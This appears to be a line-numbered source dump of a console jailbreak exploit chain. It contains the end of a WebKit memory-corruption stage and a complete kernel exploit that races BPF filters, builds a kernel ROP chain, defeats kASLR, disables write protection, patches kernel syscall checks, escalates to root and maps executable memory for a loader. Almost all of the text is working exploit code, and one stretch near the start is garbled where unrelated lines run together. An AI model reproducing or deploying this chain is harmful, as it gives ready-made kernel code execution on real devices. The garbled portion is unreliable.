MISALIGNING JSVALUES /////////////////// 282 | 283 | var craftptr = leakJSVal.sub32(0x10000 - 0x10) 284 | tgt.b = u2d(0,craftptr.low); // 0x10000 is offset due to double encoding 285 | tgt.c = craftptr.hi; 286 | tgt.a = u2d(2048, 0x1602300); 287 | 288 | /////////////////// STAGE 3 - CONTINUED /////////////////// 289 | 290 | // Memory corruption ; not even once! 291 | for (var i=0; i back to the trap life 153 | chain.count = ocnt; 154 | 155 | p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp 156 | p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame 157 | }}}; 158 | 159 | var funcbuf32 = new Uint32Array(0x100); 160 | nogc.push(funcbuf32); 161 | funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10)); 162 | 163 | p.write8(funcbuf.add32(0x30), gadgets["setjmp"]); 164 | p.write8(funcbuf.add32(0x80), gadgets["jop"]); 165 | p.write8(funcbuf,funcbuf); 166 | p.write8(parseFloatStore, gadgets["jop"]); 167 | var orig_hold = p.read8(holdz1); 168 | var orig_hold48 = p.read8(holdz1.add32(0x48)); 169 | 170 | p.write8(holdz1, funcbuf.add32(0x50)); 171 | p.write8(holdz1.add32(0x48), funcbuf); 172 | parseFloat(hold2,hold2,hold2,hold2,hold2,hold2); 173 | p.write8(holdz1, orig_hold); 174 | p.write8(holdz1.add32(0x48), orig_hold48); 175 | 176 | stackPointer = p.read8(funcbuf.add32(0x10)); 177 | stackCookie = p.read8(stackPointer.add32(8)); 178 | rtv=Array.prototype.splice.apply(reenter_help); 179 | return p.leakval(rtv); 180 | } 181 | 182 | p.loadchain = launch_chain; 183 | 184 | // Dynamically resolve syscall wrappers from libkernel 185 | var kview = new Uint8Array(0x1000); 186 | var kstr = p.leakval(kview).add32(0x10); 187 | var orig_kview_buf = p.read8(kstr); 188 | 189 | p.write8(kstr, window.moduleBaseLibKernel); 190 | p.write4(kstr.add32(8), 0x40000); 191 | 192 | var countbytes; 193 | for (var i=0; i < 0x40000; i++) 194 | { 195 | if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63) 196 | { 197 | countbytes = i; 198 | break; 199 | } 200 | } 201 | p.write4(kstr.add32(8), countbytes + 32); 202 | 203 | var dview32 = new Uint32Array(1); 204 | var dview8 = new Uint8Array(dview32.buffer); 205 | for (var i=0; i < countbytes; i++) 206 | { 207 | if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05) 208 | { 209 | dview8[0] = kview[i+3]; 210 | dview8[1] = kview[i+4]; 211 | dview8[2] = kview[i+5]; 212 | dview8[3] = kview[i+6]; 213 | var syscallno = dview32[0]; 214 | window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i); 215 | } 216 | } 217 | 218 | // Setup helpful primitives for calling and string operations 219 | var chain = new window.rop(); 220 | 221 | p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) { 222 | chain.clear(); 223 | 224 | chain.notimes = this.next_notime; 225 | this.next_notime = 1; 226 | 227 | chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); 228 | 229 | chain.push(window.gadgets["pop rdi"]); // pop rdi 230 | chain.push(chain.stackBase.add32(0x3ff8)); // where 231 | chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax 232 | 233 | chain.push(window.gadgets["pop rax"]); // pop rax 234 | chain.push(p.leakval(0x41414242)); // where 235 | 236 | if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour"); 237 | 238 | return p.read8(chain.stackBase.add32(0x3ff8)); 239 | } 240 | 241 | p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) { 242 | if (typeof sysc == "string") { 243 | sysc = window.syscallnames[sysc]; 244 | } 245 | 246 | if (typeof sysc != "number") { 247 | throw new Error("invalid syscall"); 248 | } 249 | 250 | var off = window.syscalls[sysc]; 251 | 252 | if (off == undefined) { 253 | throw new Error("invalid syscall"); 254 | } 255 | 256 | return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9); 257 | } 258 | 259 | p.writeString = function (addr, str) 260 | { 261 | for (var i = 0; i < str.length; i++) 262 | { 263 | var byte = p.read4(addr.add32(i)); 264 | byte &= 0xFFFF0000; 265 | byte |= str.charCodeAt(i); 266 | p.write4(addr.add32(i), byte); 267 | } 268 | } 269 | 270 | p.readString = function(addr) 271 | { 272 | var byte = p.read4(addr); 273 | var str = ""; 274 | while (byte & 0xFF) 275 | { 276 | str += String.fromCharCode(byte & 0xFF); 277 | addr.add32inplace(1); 278 | byte = p.read4(addr); 279 | } 280 | return str; 281 | } 282 | 283 | var spawnthread = function (chain) { 284 | var longjmp = offsetToWebKit(0x1458); 285 | var createThread = offsetToWebKit(0x116ED40); 286 | 287 | var contextp = mallocu32(0x2000); 288 | var contextz = contextp.backing; 289 | contextz[0] = 1337; 290 | p.syscall(324, 1); 291 | 292 | var thread2 = new window.rop(); 293 | 294 | thread2.clear(); 295 | thread2.push(window.gadgets["ret"]); // nop 296 | thread2.push(window.gadgets["ret"]); // nop 297 | thread2.push(window.gadgets["ret"]); // nop 298 | 299 | thread2.push(window.gadgets["ret"]); // nop 300 | chain(thread2); 301 | 302 | p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget 303 | p.write8(contextp.add32(0x10), thread2.stackBase); // rsp 304 | 305 | var test = p.fcall(createThread, longjmp, contextp, stringify("GottaGoFast")); 306 | 307 | window.nogc.push(contextz); 308 | window.nogc.push(thread2); 309 | 310 | return thread2; 311 | } 312 | 313 | var run_count = 0; 314 | 315 | function kernel_rop_run(fd, scratch) { 316 | // wait for it 317 | while (1) { 318 | var ret = p.syscall("sys_write", fd, scratch, 0x200); 319 | run_count++; 320 | if (ret.low == 0x200) { 321 | return ret; 322 | } 323 | } 324 | } 325 | 326 | // Clear errno 327 | p.write8(offsetToLibKernel(0x7CCF0), 0); 328 | 329 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 330 | // KERNEL EXPLOIT BEGINS ///////////////////////////////////////////////////////////////////////////////////////////// 331 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 332 | 333 | //alert("OHHH WE'RE HALFWAY THERE WOOOOOOAHHH LIVIN ON A PRAYER") 334 | 335 | var test = p.syscall("sys_setuid", 0); 336 | 337 | // Check if homebrew has already been enabled, if not, run kernel exploit :D 338 | if(test != '0') { 339 | /////////////////// STAGE 1: Setting Up Programs /////////////////// 340 | 341 | var spadp = mallocu32(0x2000); 342 | 343 | // Open first device and bind 344 | var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR 345 | 346 | if(fd1 < 0) { 347 | throw "Failed to open first /dev/bpf device!"; 348 | } 349 | 350 | p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF 351 | 352 | if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) { 353 | p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0")); 354 | 355 | if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) { 356 | throw "Failed to bind to first /dev/bpf device!"; 357 | } 358 | } 359 | 360 | // Open second device and bind 361 | var fd2 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR 362 | 363 | if(fd2 < 0) { 364 | throw "Failed to open second /dev/bpf device!"; 365 | } 366 | 367 | p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF 368 | 369 | if (p.syscall("sys_write", fd2, spadp, 40).low == (-1 >>> 0)) { 370 | p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("wlan0")); 371 | 372 | if (p.syscall("sys_write", fd2, spadp, 40).low == (-1 >>> 0)) { 373 | throw "Failed to bind to second /dev/bpf device!"; 374 | } 375 | } 376 | 377 | // Setup kchain stack for kernel ROP chain 378 | var kchainstack = malloc(0x2000); 379 | 380 | /////////////////// STAGE 2: Building Kernel ROP Chain /////////////////// 381 | var kchain = new krop(p, kchainstack); 382 | var savectx = malloc(0x200); 383 | 384 | // NOP Sled 385 | kchain.push(window.gadgets["ret"]); 386 | kchain.push(window.gadgets["ret"]); 387 | kchain.push(window.gadgets["ret"]); 388 | kchain.push(window.gadgets["ret"]); 389 | kchain.push(window.gadgets["ret"]); 390 | kchain.push(window.gadgets["ret"]); 391 | kchain.push(window.gadgets["ret"]); 392 | kchain.push(window.gadgets["ret"]); 393 | 394 | // Save context to exit back to userland when finished 395 | kchain.push(window.gadgets["pop rdi"]); 396 | kchain.push(savectx); 397 | kchain.push(offsetToLibc(0x1D3C)); 398 | 399 | // Defeat kASLR (resolve kernel .text base) 400 | var kernel_slide = new int64(-0x2610AD0, -1); 401 | kchain.push(window.gadgets["pop rax"]); 402 | kchain.push(savectx.add32(0x30)); 403 | kchain.push(window.gadgets["mov rax, [rax]"]); 404 | kchain.push(window.gadgets["pop rcx"]); 405 | kchain.push(kernel_slide); 406 | kchain.push(window.gadgets["add rax, rcx"]); 407 | kchain.push(window.gadgets["pop rdi"]); 408 | kchain.push(savectx.add32(0x50)); 409 | kchain.push(window.gadgets["mov [rdi], rax"]); 410 | 411 | // Disable kernel write protection 412 | kchain.push(window.gadgets["pop rax"]) 413 | kchain.push(savectx.add32(0x50)); 414 | kchain.push(window.gadgets["mov rax, [rax]"]); 415 | kchain.push(window.gadgets["pop rcx"]); 416 | kchain.push(0x280f79); 417 | kchain.push(window.gadgets["add rax, rcx"]); 418 | kchain.push(offsetToWebKit(0x12a16)); // mov rdx, rax 419 | kchain.push(window.gadgets["pop rax"]); 420 | kchain.push(0x80040033); 421 | kchain.push(offsetToWebKit(0x1517c7)); // jmp rdx 422 | 423 | // Add kexploit check so we don't run kexploit more than once (also doubles as privilege escalation) 424 | // E8 C8 37 13 00 41 89 C6 -> B8 00 00 00 00 41 89 C6 425 | var kexploit_check_patch = new int64(0x000000B8, 0xC6894100); 426 | kchain.push(window.gadgets["pop rax"]) 427 | kchain.push(savectx.add32(0x50)); 428 | kchain.push(window.gadgets["mov rax, [rax]"]); 429 | kchain.push(window.gadgets["pop rcx"]); 430 | kchain.push(0x1144E3); 431 | kchain.push(window.gadgets["add rax, rcx"]); 432 | kchain.push(window.gadgets["pop rsi"]); 433 | kchain.push(kexploit_check_patch); 434 | kchain.push(window.gadgets["mov [rax], rsi"]); 435 | 436 | // Patch sys_mmap: Allow RWX (read-write-execute) mapping 437 | var kernel_mmap_patch = new int64(0x37b64137, 0x3145c031); 438 | kchain.push(window.gadgets["pop rax"]) 439 | kchain.push(savectx.add32(0x50)); 440 | kchain.push(window.gadgets["mov rax, [rax]"]); 441 | kchain.push(window.gadgets["pop rcx"]); 442 | kchain.push(0x141D14); 443 | kchain.push(window.gadgets["add rax, rcx"]); 444 | kchain.push(window.gadgets["pop rsi"]); 445 | kchain.push(kernel_mmap_patch); 446 | kchain.push(window.gadgets["mov [rax], rsi"]); 447 | 448 | // Patch syscall: syscall instruction allowed anywhere 449 | var kernel_syscall_patch1 = new int64(0x00000000, 0x40878b49); 450 | var kernel_syscall_patch2 = new int64(0x909079eb, 0x72909090); 451 | kchain.push(window.gadgets["pop rax"]) 452 | kchain.push(savectx.add32(0x50)); 453 | kchain.push(window.gadgets["mov rax, [rax]"]); 454 | kchain.push(window.gadgets["pop rcx"]); 455 | kchain.push(0x3DC603); 456 | kchain.push(window.gadgets["add rax, rcx"]); 457 | kchain.push(window.gadgets["pop rsi"]); 458 | kchain.push(kernel_syscall_patch1); 459 | kchain.push(window.gadgets["mov [rax], rsi"]); 460 | kchain.push(window.gadgets["pop rax"]) 461 | kchain.push(savectx.add32(0x50)); 462 | kchain.push(window.gadgets["mov rax, [rax]"]); 463 | kchain.push(window.gadgets["pop rcx"]); 464 | kchain.push(0x3DC621); 465 | kchain.push(window.gadgets["add rax, rcx"]); 466 | kchain.push(window.gadgets["pop rsi"]); 467 | kchain.push(kernel_syscall_patch2); 468 | kchain.push(window.gadgets["mov [rax], rsi"]); 469 | 470 | // Patch sys_dynlib_dlsym: Allow from anywhere 471 | var kernel_dlsym_patch1 = new int64(0x000352E9, 0x8B489000); 472 | var kernel_dlsym_patch2 = new int64(0x90C3C031, 0x90909090); 473 | kchain.push(window.gadgets["pop rax"]) 474 | kchain.push(savectx.add32(0x50)); 475 | kchain.push(window.gadgets["mov rax, [rax]"]); 476 | kchain.push(window.gadgets["pop rcx"]); 477 | kchain.push(0x3CF6FE); 478 | kchain.push(window.gadgets["add rax, rcx"]); 479 | kchain.push(window.gadgets["pop rsi"]); 480 | kchain.push(kernel_dlsym_patch1); 481 | kchain.push(window.gadgets["mov [rax], rsi"]); 482 | kchain.push(window.gadgets["pop rax"]) 483 | kchain.push(savectx.add32(0x50)); 484 | kchain.push(window.gadgets["mov rax, [rax]"]); 485 | kchain.push(window.gadgets["pop rcx"]); 486 | kchain.push(0x690C0); 487 | kchain.push(window.gadgets["add rax, rcx"]); 488 | kchain.push(window.gadgets["pop rsi"]); 489 | kchain.push(kernel_dlsym_patch2); 490 | kchain.push(window.gadgets["mov [rax], rsi"]); 491 | 492 | // Add custom sys_exec() call to execute arbitrary code as kernel 493 | var kernel_exec_param = new int64(0, 1); 494 | kchain.push(window.gadgets["pop rax"]) 495 | kchain.push(savectx.add32(0x50)); 496 | kchain.push(window.gadgets["mov rax, [rax]"]); 497 | kchain.push(window.gadgets["pop rcx"]); 498 | kchain.push(0x102b8a0); 499 | kchain.push(window.gadgets["add rax, rcx"]); 500 | kchain.push(window.gadgets["pop rsi"]); 501 | kchain.push(0x02); 502 | kchain.push(window.gadgets["mov [rax], rsi"]); 503 | kchain.push(window.gadgets["pop rsi"]) 504 | kchain.push(0x13a39f); // jmp qword ptr [rsi] 505 | kchain.push(window.gadgets["pop rdi"]) 506 | kchain.push(savectx.add32(0x50)); 507 | kchain.push(offsetToWebKit(0x119d1f0)); //add rsi, [rdi]; mov rax, rsi 508 | kchain.push(window.gadgets["pop rax"]) 509 | kchain.push(savectx.add32(0x50)); 510 | kchain.push(window.gadgets["mov rax, [rax]"]); 511 | kchain.push(window.gadgets["pop rcx"]); 512 | kchain.push(0x102b8a8); 513 | kchain.push(window.gadgets["add rax, rcx"]); 514 | kchain.push(window.gadgets["mov [rax], rsi"]); 515 | kchain.push(window.gadgets["pop rax"]) 516 | kchain.push(savectx.add32(0x50)); 517 | kchain.push(window.gadgets["mov rax, [rax]"]); 518 | kchain.push(window.gadgets["pop rcx"]); 519 | kchain.push(0x102b8c8); 520 | kchain.push(window.gadgets["add rax, rcx"]); 521 | kchain.push(window.gadgets["pop rsi"]); 522 | kchain.push(kernel_exec_param); 523 | kchain.push(window.gadgets["mov [rax], rsi"]); 524 | 525 | // Enable kernel write protection 526 | kchain.push(window.gadgets["pop rax"]) 527 | kchain.push(savectx.add32(0x50)); 528 | kchain.push(window.gadgets["mov rax, [rax]"]); 529 | kchain.push(window.gadgets["pop rcx"]); 530 | kchain.push(0x280f70); 531 | kchain.push(window.gadgets["add rax, rcx"]); 532 | kchain.push(window.gadgets["jmp rax"]) 533 | 534 | // To userland! 535 | kchain.push(window.gadgets["pop rax"]); 536 | kchain.push(0); 537 | kchain.push(window.gadgets["ret"]); 538 | kchain.push(offsetToWebKit(0x3EBD0)); 539 | 540 | // Setup valid program 541 | var bpf_valid_prog = malloc(0x10); 542 | var bpf_valid_instructions = malloc(0x80); 543 | 544 | p.write8(bpf_valid_instructions.add32(0x00), 0x00000000); 545 | p.write8(bpf_valid_instructions.add32(0x08), 0x00000000); 546 | p.write8(bpf_valid_instructions.add32(0x10), 0x00000000); 547 | p.write8(bpf_valid_instructions.add32(0x18), 0x00000000); 548 | p.write8(bpf_valid_instructions.add32(0x20), 0x00000000); 549 | p.write8(bpf_valid_instructions.add32(0x28), 0x00000000); 550 | p.write8(bpf_valid_instructions.add32(0x30), 0x00000000); 551 | p.write8(bpf_valid_instructions.add32(0x38), 0x00000000); 552 | p.write4(bpf_valid_instructions.add32(0x40), 0x00000006); 553 | p.write4(bpf_valid_instructions.add32(0x44), 0x00000000); 554 | 555 | p.write8(bpf_valid_prog.add32(0x00), 0x00000009); 556 | p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions); 557 | 558 | // Setup invalid program 559 | var entry = window.gadgets["pop rsp"]; 560 | var bpf_invalid_prog = malloc(0x10); 561 | var bpf_invalid_instructions = malloc(0x80); 562 | 563 | p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001); 564 | p.write4(bpf_invalid_instructions.add32(0x04), entry.low); 565 | p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003); 566 | p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E); 567 | p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001); 568 | p.write4(bpf_invalid_instructions.add32(0x14), entry.hi); 569 | p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003); 570 | p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F); 571 | p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001); 572 | p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low); 573 | p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003); 574 | p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020); 575 | p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001); 576 | p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi); 577 | p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003); 578 | p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021); 579 | p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006); 580 | p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001); 581 | 582 | p.write8(bpf_invalid_prog.add32(0x00), 0x00000009); 583 | p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions); 584 | 585 | /////////////////// STAGE 3: Racing Filters /////////////////// 586 | 587 | // ioctl() with valid BPF program will trigger free() of old program and reallocate memory for the new one 588 | spawnthread(function (thread2) { 589 | interrupt1 = thread2.stackBase; 590 | thread2.push(window.gadgets["ret"]); 591 | thread2.push(window.gadgets["ret"]); 592 | thread2.push(window.gadgets["ret"]); 593 | thread2.push(window.gadgets["pop rdi"]); // pop rdi 594 | thread2.push(fd1); // what 595 | thread2.push(window.gadgets["pop rsi"]); // pop rsi 596 | thread2.push(0x8010427B); // what 597 | thread2.push(window.gadgets["pop rdx"]); // pop rdx 598 | thread2.push(bpf_valid_prog); // what 599 | thread2.push(window.gadgets["pop rsp"]); // pop rsp 600 | thread2.push(thread2.stackBase.add32(0x800)); // what 601 | thread2.count = 0x100; 602 | var cntr = thread2.count; 603 | thread2.push(window.syscalls[54]); // ioctl 604 | thread2.push_write8(thread2.stackBase.add32(cntr * 8), window.syscalls[54]); // restore ioctl 605 | thread2.push(window.gadgets["pop rsp"]); // pop rdx 606 | thread2.push(thread2.stackBase); // what 607 | }); 608 | 609 | // ioctl() with invalid BPF program will be sprayed and eventually get used by the thread where the program has already been validated 610 | spawnthread(function (thread2) { 611 | interrupt2 = thread2.stackBase; 612 | thread2.push(window.gadgets["ret"]); 613 | thread2.push(window.gadgets["ret"]); 614 | thread2.push(window.gadgets["ret"]); 615 | thread2.push(window.gadgets["pop rdi"]); // pop rdi 616 | thread2.push(fd2); // what 617 | thread2.push(window.gadgets["pop rsi"]); // pop rsi 618 | thread2.push(0x8010427B); // what 619 | thread2.push(window.gadgets["pop rdx"]); // pop rdx 620 | thread2.push(bpf_invalid_prog); // what 621 | thread2.push(window.gadgets["pop rsp"]); // pop rsp 622 | thread2.push(thread2.stackBase.add32(0x800)); // what 623 | thread2.count = 0x100; 624 | var cntr = thread2.count; 625 | thread2.push(window.syscalls[54]); // ioctl 626 | thread2.push_write8(thread2.stackBase.add32(cntr * 8), window.syscalls[54]); // restore ioctl 627 | thread2.push(window.gadgets["pop rsp"]); // pop rdx 628 | thread2.push(thread2.stackBase); // what 629 | }); 630 | 631 | /////////////////// STAGE 3: Trigger /////////////////// 632 | var scratch = malloc(0x200); 633 | var test = kernel_rop_run(fd1, scratch); 634 | 635 | if(p.syscall("sys_setuid", 0) == 0) { 636 | allset(); 637 | } else { 638 | throw "Kernel exploit failed!"; 639 | } 640 | } else { 641 | // Everything done already :D 642 | allset(); 643 | } 644 | 645 | // create loader memory 646 | var code_addr = new int64(0x26100000, 0x00000009); 647 | var buffer = p.syscall("sys_mmap", code_addr, 0x300000, 7, 0x41000, -1, 0); 648 | 649 | // verify loaded 650 | if (buffer == '926100000') { 651 | // setup the stuff 652 | var scePthreadCreate = offsetToLibKernel(0x115c0); 653 | var thread = malloc(0x08); 654 | var thr_name = malloc(0x10); 655 | p.writeString(thr_name, "loader"); 656 | 657 | // write loader 658 | writeLoader(p, code_addr); 659 | 660 | var createRet = p.fcall(scePthreadCreate, thread, 0, code_addr, 0, thr_name); 661 | } 662 | } catch(e) { 663 | fail("Post Exception: " + e) 664 | } 665 | } 666 | --------------------------------------------------------------------------------